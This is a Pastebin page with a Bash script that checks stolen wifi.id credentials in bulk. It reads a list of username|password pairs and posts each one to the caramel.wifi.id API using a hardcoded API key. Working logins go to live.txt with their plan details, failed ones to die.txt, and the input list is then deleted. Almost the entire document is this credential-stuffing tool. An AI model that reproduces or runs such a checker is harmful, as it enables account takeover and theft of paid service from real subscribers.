Advertisement
jaenudinmaulana69

@wifi.id

Dec 7th, 2019
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.44 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. NC='\033[0m'
  4. RED='\e[38;5;196m'
  5. GREEN='\e[38;5;82m'
  6.  
  7. cek(){
  8. local ah=$(curl -s "https://caramel.wifi.id/api/ott/v2" \
  9. -H "Content-Type: application/x-www-form-urlencoded" \
  10. -H "X-Api-Key: 8d446f02-ef8d-47b2-9663-dbe75b016fb9" \
  11. -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
  12. -H "Accept-Language: en-US,en;q=0.5" \
  13. -H "Cache-Control: max-age=0, no-cache" \
  14. -H "Pragma: no-cache" \
  15. -H "Upgrade-Insecure-Requests: 1" \
  16. -H "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0" \
  17. -H "Connection: keep-alive" -X POST \
  18. --data-binary "{\"password\":\"${ARR[1]}\",\"username\":\"${ARR[0]}\"}")
  19.  
  20. local ih=$(echo -e "${ah}" | grep -Po "(?<=\"act\":\").*?(?=\",)")
  21. local uh=$(echo -e "${ah}" | grep -Po "(?<=\"amount\":\").*?(?=\",)")
  22. local eh=$(echo -e "${ah}" | grep -Po "(?<=\"duration\":\").*?(?=\",)")
  23. local oh=$(echo -e "${ah}" | grep -Po "(?<=\"expire\":\").*?(?=\",)")
  24. local return=$(paste <(echo "${ih}") <(echo "${uh}") <(echo "${eh} Hari") <(echo "${oh}") --delimiters='|')
  25.  
  26. if [[ "$ah" =~ "INVALID" ]]
  27. then
  28. echo -e "${RED}DIE${NC} ${ARR[0]}|${ARR[1]}"
  29. echo -e "${ARR[0]}|${ARR[1]}" >> die.txt
  30. else
  31. echo -e "${GREEN}LIVE${NC} ${ARR[0]}|${ARR[1]}|${return}"
  32. echo -e "${ARR[0]}|${ARR[1]}|${return}" >> live.txt
  33. fi
  34. }
  35.  
  36. mc(){
  37. echo -n "List? "
  38. read list
  39. }
  40.  
  41. gas(){
  42. while IFS='|' read -ra ARR
  43. do
  44. cek ${ARR[0]} ${ARR[1]}
  45. done < $list
  46. }
  47. mc
  48. gas
  49. rm $list
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement